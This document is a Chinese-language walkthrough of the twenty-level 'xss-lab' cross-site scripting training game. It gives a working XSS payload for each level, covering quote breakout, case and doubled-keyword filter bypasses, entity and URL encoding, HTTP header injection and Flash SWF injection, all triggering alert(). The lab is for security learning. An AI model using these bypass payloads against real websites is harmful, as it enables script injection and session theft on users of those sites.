XSS闯关小游戏

XSS闯关小游戏

前言:

XSS的介绍:https://blog.csdn.net/weixin_45798017/article/details/105343314

准备:

在线游戏:http://test.xss.tv

自己搭建:

下载phpstudy->下载xss-lab->将xss-lab放到phpstudy目录下的WWW里面

打开phpstudy的apache,浏览器访问:127.0.0.1/xss-lab

注意:xss最好搭建在虚拟机中,因为搭建在本机中无法利用burpsuite抓包

游戏:

level 1

payload:

1
<script>alert()</script>

level 2

尝试level 1的方法,不行,F12查看源代码,发现方框里的被“ ”当作字符串了

想办法把value后面的“过滤掉,或者闭合

payload

1
2
3
"><script>alert()</script>
或者 "onclick=alert()> 需要点击一下输入框。
或者 "onmouseover=alert()>需要要鼠标滑过输入框

level 3

同样的直接输入payload执行语句会被当做value的字符串,用”闭合,然后无法执行

查看php中的源代码,显示value最后的是 ‘ 结尾的

1
<input name=keyword  value='".htmlspecialchars($str)."'>    //可以从这个看到value值也被实体化,value的值执行了htmlspecialchars($str)函数,它的作用是把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体,所以不能使用尖括号

但是htmlspecialchars默认配置是不过滤单引号。只有设置了:quotestyle选项为ENT_QUOTES,才可以;那么可以用单引号闭合并且不能包含<>则

payload

1
2
'onclick=alert()//    //是把后面的语句注释了
或者 'onmouseover=alert()//

level 4

level 4和level 3原理类似

只是value后面以双引号结束,同时发生了替换函数

将输入的<和>替换过滤了

可以利用和level 3类似的方法

执行payload

1
2
"onclick=alert()//
或者"onmouseover=alert()//

level 5

查看源码,发现执行了两个替换函数,将script和on都替换了,所以script和onclick还有onmouseover的标签都没法使用。

尝试执行a的标签

payload

1
"><a href=javascript:alert()>test</a>

level 6

过滤了script,on,src,data,href,但由于是用str_replace函数来过滤的,所以可以用大小写绕过

payload

1
2
3
4
"><a Href=javascript:alert()>test</a>
或者"><Script>alert()</Script>
或者"Onclick=alert()>
或者"Onmouseover=alert()>

level 7

很显然,过滤了script,on,src,data,href,尝试通过重叠拼写进行绕过注入

payload

1
2
3
4
"><a hhrefref=javasscriptcript:alert()>test</a>
或者"><sscriptcript>alert()</sscriptcript>
或者"oonnclick=alert()>
或者"oonnmouseover=alert()>

level 8

随便输入数值,F12查看源码,可以看出下面的href友情链接显示的为输入的值,那么直接用javascript的标签

但是,

很显然过滤了script,on,src,data,href还有双引号,尝试利用html编码绕过

payload

1
javascri&#112;t:alert()

level 9

很显然过滤了script,on,src,data,href还有双引号,同时对value的值进行了htmlspecialchars($str)函数的转换,上题相似

同时,多了一个url检测,如果发现没有带http:// 内容则会显示不合法, 那么怎么可以既有它,又不让它执行呢?只需填加个注释,(可选择多行注释和单行注释)包含http://就行了

payload

1
javascri&#112;t:alert()//http://

level 10

F12查看网页源代码,同时查看php中的源代码

可以看出有三个参数的属性是hidden,同时t_sort是传参的

所以构建payload

1
2
3
?t_sort=" onclick=alert() type="button"
或者 ?t_sort=" onclick=alert() type="text"
或者直接在上面的url栏的最后添加&t_sort=" onclick=alert() type="text"(或者button属性的)

level 11

分析源码可得知t_ref字段是http referer的值,根据http_referer 参数想到了HTTP头,那么我们可以在请求头进行XSS注入,这一关很显然注入点在Referer所以可以利用burpsuite抓包修改Referer的值(hackbar没有成功)

修改前:

修改后:

level 12

根据HTTP_USER_AGENT参数还是想到了HTTP请求头中的user-agent,那么,同理可以按照第十一关的方法来做:

这里直接利用hackbar就成功了

payload

1
2
3
" onclick=alert() type="button"
或者 " onclick=alert() type="text"
onclick换成onmouseover都可以

或者burpsuite抓包修改

level 13

和上面的方法类似,只不过这里变成了cookie了,hackbar没法用,所以用burpsuite

payload和上面的一样

level 14

由于exifviewer现在不支持上传了,这个漏洞是以前该网站存在的一个漏洞,现在也已经无法复现了

level 15

查看源码

注意到了ng-include,ng-include相当于php的include函数,然后src参数被转义了,最终我们
可以include leve1然后再用img标签传xss

payload

1
2
url栏最后添加
?src='level1.php?name=<img src=1 onerror=alert()>'

level 16

查看源码

输入的东西经过了大小写的转换并且通过四次的替换检查,分别对script,空格,/,进行了替换,但是有一点很重要,尖括号没有被替换,这给我们留下很大的利用空间。

另外script被替代,我们可以使用img标签,剩下我们就需要考虑如何把空格的影响给去掉,这时候就需要使用url编码来进行绕过了,可以选择%0d %0a (表会回车换行)进行绕过,构造出最后的payload

1
=<img%0dsrc=1%0donclick=alert()>

level 17

这关做了个寂寞,点击直接进入下一关了

level 18

有两个get类型的参数,可以直接构建payload

1
2
%20onmouseover=alert()      //%20是空格
或者直接在url后面添加%20onmouseover=alert()

level 19

查看源码

flash xss,需要对flash的反编译对源码进行分析,这里使用jpexs-decompiler来分析,首先定位getURL函数

然后追踪到sIFR的内容

得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数

所以我们可以构造 标签来传值,构建payload

1
?arg01=version&arg02=<a%20href="javascript:alert()">test</a>

level 20

将xsf04.swf文件分析得知分析得知是zeroclipboard.swf

这一题用到了zeroclipboard xss,具体可以参考这篇文章:
https://www.freebuf.com/sectool/108568.html
国内广泛使用了zeroclipboard.swf,主要的功能是复制内容到剪切板,中间由flash进行中转保证兼容主流浏览器,具体做法就是使这个透明的flash漂浮在复制按钮之上

看一下源码:
使用jpexs反编译(swf反编译工具:https://github.com/jindrapetrik/jpexs-decompiler
)
原因显而易见,Externalinterface.call第二个参数传回来的id没有正确过滤导致xss

构建payload

1
?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height